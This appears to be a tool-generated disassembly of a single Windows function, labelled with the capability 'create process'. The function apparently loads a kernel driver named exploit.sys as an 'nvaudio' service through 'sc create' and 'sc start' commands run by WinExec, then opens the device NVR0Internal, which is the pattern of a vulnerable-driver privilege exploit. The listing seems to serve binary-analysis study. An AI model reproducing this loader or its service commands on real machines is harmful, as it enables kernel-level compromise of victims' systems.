Function at 0x140001340
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov rdi, rcx
xor r15d, r15d
mov qword [rcx], r15
mov qword [rcx + 8], 0xffffffffffffffff
mov qword [rcx + 0x10], r15
lea rcx, str.WINDIR
call fcn.14000d0f4
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x61], xmm0
lea ecx, [r15 + 0x20]
call fcn.140003e90
mov rcx, rax
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x51], 0x1d
mov qword [rbp - 0x49], 0x1f
movups xmm0, xmmword [str.System32driversexploit.sys]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140025730]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x140025738]
mov dword [rcx + 0x18], eax
movzx eax, byte [0x14002573c]
mov byte [rcx + 0x1c], al
mov byte [rcx + 0x1d], r15b
mov rdx, rbx
lea rcx, [rbp - 0x21]
call fcn.140003890
nop
lea r9, [rbp - 0x61]
mov r8, rax
lea rcx, [rbp - 0x41]
call fcn.140003b60
nop
mov rdx, qword [rbp - 9]
cmp rdx, 0x10
jb 0x140001440
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000143b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017fc
call fcn.140003ed4
movdqa xmm0, xmmword [0x140026040]
movdqu xmmword [rbp - 0x11], xmm0
mov byte [rbp - 0x21], 0
mov rdx, qword [rbp - 0x49]
cmp rdx, 0x10
jb 0x14000148c
inc rdx
mov rcx, qword [rbp - 0x61]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001487
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001802
call fcn.140003ed4
lea rdx, [rbp - 0x41]
cmp qword [rbp - 0x29], 0x10
cmovae rdx, qword [rbp - 0x41]
lea rcx, [0x140025740]
call fcn.140001010
lea rcx, [rbp - 0x41]
cmp qword [rbp - 0x29], 0x10
cmovae rcx, qword [rbp - 0x41]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
je 0x140001808
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
mov ecx, 0x20
call fcn.140003e90
mov rcx, rax
mov qword [rbp + 0x1f], rax
mov qword [rbp + 0x2f], 0x19
mov qword [rbp + 0x37], 0x1f
movups xmm0, xmmword [str._typekernel_startsystem]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140025758]
movsd qword [rax + 0x10], xmm0
movzx eax, byte [0x140025760]
mov byte [rcx + 0x18], al
mov byte [rcx + 0x19], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x61], xmm0
mov qword [rbp - 0x51], r15
mov qword [rbp - 0x49], 0xf
mov ecx, 0x30
call fcn.140003e90
mov rsi, rax
mov qword [rbp - 0x61], rax
mov qword [rbp - 0x51], 0x25
mov qword [rbp - 0x49], 0x2f
movups xmm0, xmmword [str.cmd.exe__c_sc_create_nvaudio_binPath]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140025778]
movups xmmword [rax + 0x10], xmm1
mov eax, dword [0x140025788]
mov dword [rsi + 0x20], eax
movzx eax, byte [0x14002578c]
mov byte [rsi + 0x24], al
mov byte [rsi + 0x25], 0
mov rbx, qword [rbp - 0x31]
lea r9, [rbp - 0x41]
cmp qword [rbp - 0x29], 0x10
cmovae r9, qword [rbp - 0x41]
cmp rbx, 0xa
ja 0x1400015ad
lea rax, [rbx + 0x25]
mov qword [rbp - 0x51], rax
lea rcx, [rsi + 0x25]
mov r8, rbx
mov rdx, r9
call fcn.140009900
mov byte [rsi + rbx + 0x25], 0
lea rax, [rbp - 0x61]
jmp 0x1400015be
mov qword [rsp + 0x20], rbx
mov rdx, rbx
lea rcx, [rbp - 0x61]
call fcn.1400039d0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x21], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x11], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x1f]
lea r8, [rbp - 0x21]
lea rcx, [rbp - 1]
call fcn.140003b60
nop
mov rdx, qword [rbp - 9]
cmp rdx, 0x10
jb 0x14000162a
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001624
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001813
call fcn.140003ed4
nop
mov rdx, qword [rbp - 0x49]
cmp rdx, 0x10
jb 0x140001665
inc rdx
mov rcx, qword [rbp - 0x61]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001660
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001819
call fcn.140003ed4
mov qword [rbp - 0x51], r15
mov qword [rbp - 0x49], 0xf
mov byte [rbp - 0x61], 0
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x1400016b0
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000181f
call fcn.140003ed4
lea rcx, [rbp - 1]
cmp qword [rbp + 0x17], 0x10
cmovae rcx, qword [rbp - 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, str.cmd.exe__c_sc_start_nvaudio
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [r14 + 0x2130]
mov qword [rdi], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..NVR0Internal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rdi + 8], rax
cmp rax, 0xffffffffffffffff
je 0x1400017e5
mov rdx, qword [rbp + 0x17]
cmp rdx, 0x10
jb 0x14000176b
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001766
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001825
call fcn.140003ed4
movdqa xmm0, xmmword [0x140026040]
movdqu xmmword [rbp + 0xf], xmm0
mov byte [rbp - 1], 0
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x1400017b3
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017df
call fcn.140003ed4
mov rax, rdi
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140003e70
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000c628
nop
lea rcx, str.Driver_is_not_loaded__n
call fcn.140001010
mov ecx, 0x1388
call fcn.14000c9a8
nop
call fcn.14000c628
nop
call fcn.14000c628
int3
mov ecx, 0x1388
call fcn.14000c9a8
nop
call fcn.14000c628
nop
call fcn.14000c628
nop
call fcn.14000c628
int3
call fcn.14000c628
int3